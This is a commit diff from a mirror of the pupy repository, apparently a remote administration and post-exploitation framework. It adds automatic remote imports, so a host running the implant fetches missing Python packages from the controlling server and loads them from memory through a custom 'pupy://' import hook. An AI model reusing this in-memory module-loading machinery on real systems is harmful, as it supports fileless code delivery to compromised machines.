mirror of https://github.com/n1nj4sec/pupy.git
Add initial support for automatic remote imports
This commit is contained in:
parent
a9551dfd13
commit
31f0b1ec18
pupy
|
@ -18,7 +18,7 @@
|
|||
#
|
||||
import sys, imp, marshal
|
||||
|
||||
__debug = False;
|
||||
__debug = False
|
||||
|
||||
def dprint(msg):
|
||||
global __debug
|
||||
|
@ -105,6 +105,7 @@ except ImportError:
|
|||
builtin_memimporter = _memimporter.ready
|
||||
|
||||
modules = {}
|
||||
remote_load_package = None
|
||||
|
||||
try:
|
||||
import pupy
|
||||
|
@ -133,12 +134,13 @@ def get_module_files(fullname):
|
|||
|
||||
return files
|
||||
|
||||
def pupy_add_package(pkdic, compressed=False):
|
||||
def pupy_add_package(pkdic, compressed=False, name=None):
|
||||
""" update the modules dictionary to allow remote imports of new packages """
|
||||
import cPickle
|
||||
import zlib
|
||||
|
||||
global modules
|
||||
global __debug
|
||||
|
||||
if compressed:
|
||||
pkdic = zlib.decompress(pkdic)
|
||||
|
@ -146,10 +148,16 @@ def pupy_add_package(pkdic, compressed=False):
|
|||
module = cPickle.loads(pkdic)
|
||||
|
||||
if __debug:
|
||||
print 'Adding files: {}'.format([ x for x in module.iterkeys() ])
|
||||
dprint('Adding files: {}'.format(module.keys()))
|
||||
|
||||
modules.update(module)
|
||||
|
||||
if name:
|
||||
try:
|
||||
__import__(name)
|
||||
except:
|
||||
pass
|
||||
|
||||
def has_module(name):
|
||||
global module
|
||||
return name in sys.modules
|
||||
|
@ -185,7 +193,7 @@ class PupyPackageLoader:
|
|||
if self.extension=="py":
|
||||
mod = imp.new_module(fullname)
|
||||
mod.__name__ = fullname
|
||||
mod.__file__ = '<memimport>/{}'.format(self.path)
|
||||
mod.__file__ = 'pupy://{}'.format(self.path)
|
||||
mod.__loader__ = self
|
||||
if self.is_pkg:
|
||||
mod.__path__ = [mod.__file__.rsplit('/',1)[0]]
|
||||
|
@ -198,7 +206,7 @@ class PupyPackageLoader:
|
|||
elif self.extension in ["pyc","pyo"]:
|
||||
mod = imp.new_module(fullname)
|
||||
mod.__name__ = fullname
|
||||
mod.__file__ = '<memimport>/{}'.format(self.path)
|
||||
mod.__file__ = 'pupy://{}'.format(self.path)
|
||||
mod.__loader__ = self
|
||||
if self.is_pkg:
|
||||
mod.__path__ = [mod.__file__.rsplit('/',1)[0]]
|
||||
|
@ -216,7 +224,7 @@ class PupyPackageLoader:
|
|||
mod = _memimporter.import_module(self.contents, initname, fullname, path)
|
||||
if mod:
|
||||
mod.__name__=fullname
|
||||
mod.__file__ = '<memimport>/{}'.format(self.path)
|
||||
mod.__file__ = 'pupy://{}'.format(self.path)
|
||||
mod.__loader__ = self
|
||||
mod.__package__ = fullname.rsplit('.',1)[0]
|
||||
sys.modules[fullname]=mod
|
||||
|
@ -238,11 +246,16 @@ class PupyPackageLoader:
|
|||
|
||||
return sys.modules[fullname]
|
||||
|
||||
class PupyPackageFinder:
|
||||
def __init__(self, modules):
|
||||
self.modules = modules
|
||||
class PupyPackageFinderImportError(ImportError):
|
||||
pass
|
||||
|
||||
def find_module(self, fullname, path=None):
|
||||
class PupyPackageFinder:
|
||||
def __init__(self, path=None):
|
||||
if path and not path.startswith('pupy://'):
|
||||
raise PupyPackageFinderImportError()
|
||||
|
||||
def find_module(self, fullname, path=None, second_pass=False):
|
||||
global modules
|
||||
imp.acquire_lock()
|
||||
try:
|
||||
files=[]
|
||||
|
@ -259,7 +272,23 @@ class PupyPackageFinder:
|
|||
]
|
||||
|
||||
if not files:
|
||||
dprint('{} not found in {} - no files'.format(fullname,path))
|
||||
dprint('{} not found in {}: not in {} files'.format(
|
||||
fullname, files, len(files)))
|
||||
|
||||
if remote_load_package and not second_pass and not fullname.startswith('exposed_'):
|
||||
parts = fullname.split('.')[:-1]
|
||||
|
||||
for i in xrange(len(parts)):
|
||||
part = '.'.join(parts[:i+1])
|
||||
if part in modules or part in sys.modules:
|
||||
return None
|
||||
|
||||
try:
|
||||
if remote_load_package(fullname):
|
||||
return self.find_module(fullname, second_pass=True)
|
||||
except Exception as e:
|
||||
dprint('Exception: {}'.format(e))
|
||||
|
||||
return None
|
||||
|
||||
criterias = [
|
||||
|
@ -288,17 +317,15 @@ class PupyPackageFinder:
|
|||
break
|
||||
|
||||
if not selected:
|
||||
dprint('{} not found in {}: not in {} files'.format(
|
||||
fullname, selected, len(files)))
|
||||
return None
|
||||
|
||||
dprint('{} found in {}'.format(fullname, selected))
|
||||
content = self.modules[selected]
|
||||
content = modules[selected]
|
||||
|
||||
# Don't delete network.conf module
|
||||
if not selected.startswith('network/'):
|
||||
dprint('{} remove {} from bundle'.format(fullname, selected))
|
||||
del self.modules[selected]
|
||||
del modules[selected]
|
||||
|
||||
extension = selected.rsplit(".",1)[1].strip().lower()
|
||||
is_pkg = any([
|
||||
|
@ -317,15 +344,27 @@ class PupyPackageFinder:
|
|||
finally:
|
||||
imp.release_lock()
|
||||
|
||||
def register_package_request_hook(hook):
|
||||
global remote_load_package
|
||||
remote_load_package = hook
|
||||
|
||||
def unregister_package_request_hook():
|
||||
global remote_load_package
|
||||
remote_load_package = None
|
||||
|
||||
def install(debug=False):
|
||||
global __debug
|
||||
__debug = debug
|
||||
|
||||
if allow_system_packages:
|
||||
sys.meta_path.append(PupyPackageFinder(modules))
|
||||
sys.path_hooks.append(PupyPackageFinder)
|
||||
sys.path.append('pupy://')
|
||||
else:
|
||||
sys.meta_path = [ PupyPackageFinder(modules) ]
|
||||
sys.meta_path = []
|
||||
sys.path = []
|
||||
sys.path_hooks = []
|
||||
sys.path_hooks = [PupyPackageFinder]
|
||||
sys.path.append('pupy://')
|
||||
sys.path_importer_cache.clear()
|
||||
|
||||
if 'win' in sys.platform:
|
||||
|
|
|
@ -179,6 +179,10 @@ class PupyClient(object):
|
|||
"""))
|
||||
self.conn.namespace["pupyimporter_preimporter"](pupyimporter_code)
|
||||
|
||||
pupyimporter = self.conn.modules.pupyimporter
|
||||
pupyimporter.register_package_request_hook(self.remote_load_package)
|
||||
self.conn._conn.root.register_cleanup(pupyimporter.unregister_package_request_hook)
|
||||
|
||||
def load_dll(self, path):
|
||||
"""
|
||||
load some dll from memory like sqlite3.dll needed for some .pyd to work
|
||||
|
@ -234,6 +238,9 @@ class PupyClient(object):
|
|||
raise PupyModuleError("Unknown package loading method %s"%t)
|
||||
return self._load_package(module_name, force)
|
||||
|
||||
def remote_load_package(self, module_name):
|
||||
return self._load_package(module_name, force=False, remote=True)
|
||||
|
||||
def _get_module_dic(self, search_path, start_path, pure_python_only=False):
|
||||
modules_dic = {}
|
||||
found_files = set()
|
||||
|
@ -319,7 +326,7 @@ class PupyClient(object):
|
|||
|
||||
return modules_dic
|
||||
|
||||
def _load_package(self, module_name, force=False):
|
||||
def _load_package(self, module_name, force=False, remote=False):
|
||||
"""
|
||||
load a python module into memory depending on what OS the client is.
|
||||
This function can load all types of modules in memory for windows both x86 and amd64 including .pyd C extensions
|
||||
|
@ -328,15 +335,16 @@ class PupyClient(object):
|
|||
# start path should only use "/" as separator
|
||||
|
||||
update = False
|
||||
|
||||
pupyimporter = self.conn.modules.pupyimporter
|
||||
inital_module_name = module_name
|
||||
|
||||
if pupyimporter.has_module(module_name):
|
||||
if not force:
|
||||
return
|
||||
else:
|
||||
update = True
|
||||
pupyimporter.invalidate_module(module_name)
|
||||
if not remote:
|
||||
if pupyimporter.has_module(module_name):
|
||||
if not force:
|
||||
return
|
||||
else:
|
||||
update = True
|
||||
pupyimporter.invalidate_module(module_name)
|
||||
|
||||
start_path=module_name.replace(".", "/")
|
||||
package_found=False
|
||||
|
@ -348,7 +356,12 @@ class PupyClient(object):
|
|||
package_path=search_path
|
||||
break
|
||||
except Exception as e:
|
||||
raise PupyModuleError("Error while loading package %s : %s"%(module_name, traceback.format_exc()))
|
||||
if remote:
|
||||
return
|
||||
else:
|
||||
raise PupyModuleError(
|
||||
"Error while loading package {}: {}".format(
|
||||
module_name, traceback.format_exc()))
|
||||
|
||||
if not modules_dic and self.arch:
|
||||
arch_bundle = os.path.join(
|
||||
|
@ -428,12 +441,16 @@ class PupyClient(object):
|
|||
|
||||
modules_dic[module_name] = bundle.read(info.filename)
|
||||
|
||||
if not modules_dic: # in last resort, attempt to load the package from the server's sys.path if it exists
|
||||
# in last resort, attempt to load the package from the server's sys.path if it exists
|
||||
if not modules_dic and not remote:
|
||||
for search_path in sys.path:
|
||||
try:
|
||||
modules_dic=self._get_module_dic(search_path, start_path, pure_python_only=True)
|
||||
modules_dic = self._get_module_dic(
|
||||
search_path, start_path, pure_python_only=True
|
||||
)
|
||||
|
||||
if modules_dic:
|
||||
logging.info("package %s not found in packages/, but found in local sys.path, attempting to push it remotely..."%module_name)
|
||||
logging.info("package %s not found in packages/, but found in local sys.path, attempting to push it remotely..." % module_name)
|
||||
package_path=search_path
|
||||
break
|
||||
|
||||
|
@ -441,27 +458,31 @@ class PupyClient(object):
|
|||
logging.warning(e)
|
||||
|
||||
except Exception as e:
|
||||
raise PupyModuleError("Error while loading package from sys.path %s : %s"%(module_name, traceback.format_exc()))
|
||||
if remote:
|
||||
return
|
||||
else:
|
||||
raise PupyModuleError(
|
||||
"Error while loading package from sys.path {}: {}".format(
|
||||
module_name, traceback.format_exc()))
|
||||
|
||||
if not modules_dic:
|
||||
if self.desc['native']:
|
||||
raise PupyModuleError("Couldn't find package {} in \(path={}) and sys.path / native".format(
|
||||
module_name, repr(self.get_packages_path())))
|
||||
if remote:
|
||||
return
|
||||
else:
|
||||
try:
|
||||
pupyimporter.native_import(module_name)
|
||||
except Exception as e:
|
||||
raise PupyModuleError("Couldn't find package {} in \(path={}) and sys.path / python = {}".format(
|
||||
module_name, repr(self.get_packages_path()), e))
|
||||
raise PupyModuleError("Couldn't find package: {}".format(module_name))
|
||||
|
||||
# we have to pickle the dic for two reasons : because the remote side is
|
||||
# not aut0horized to iterate/access to the dictionary declared on this
|
||||
# side and because it is more efficient
|
||||
pupyimporter.pupy_add_package(
|
||||
zlib.compress(cPickle.dumps(modules_dic), 9),
|
||||
compressed=True
|
||||
compressed=True,
|
||||
# Use None to prevent import-then-clean-then-search behavior
|
||||
name=(None if remote else inital_module_name)
|
||||
)
|
||||
|
||||
logging.debug("package %s loaded on %s from path=%s"%(module_name, self.short_name(), package_path))
|
||||
|
||||
if update:
|
||||
self.conn.modules.__invalidate__(module_name)
|
||||
|
||||
|
|
Loading…
Reference in New Issue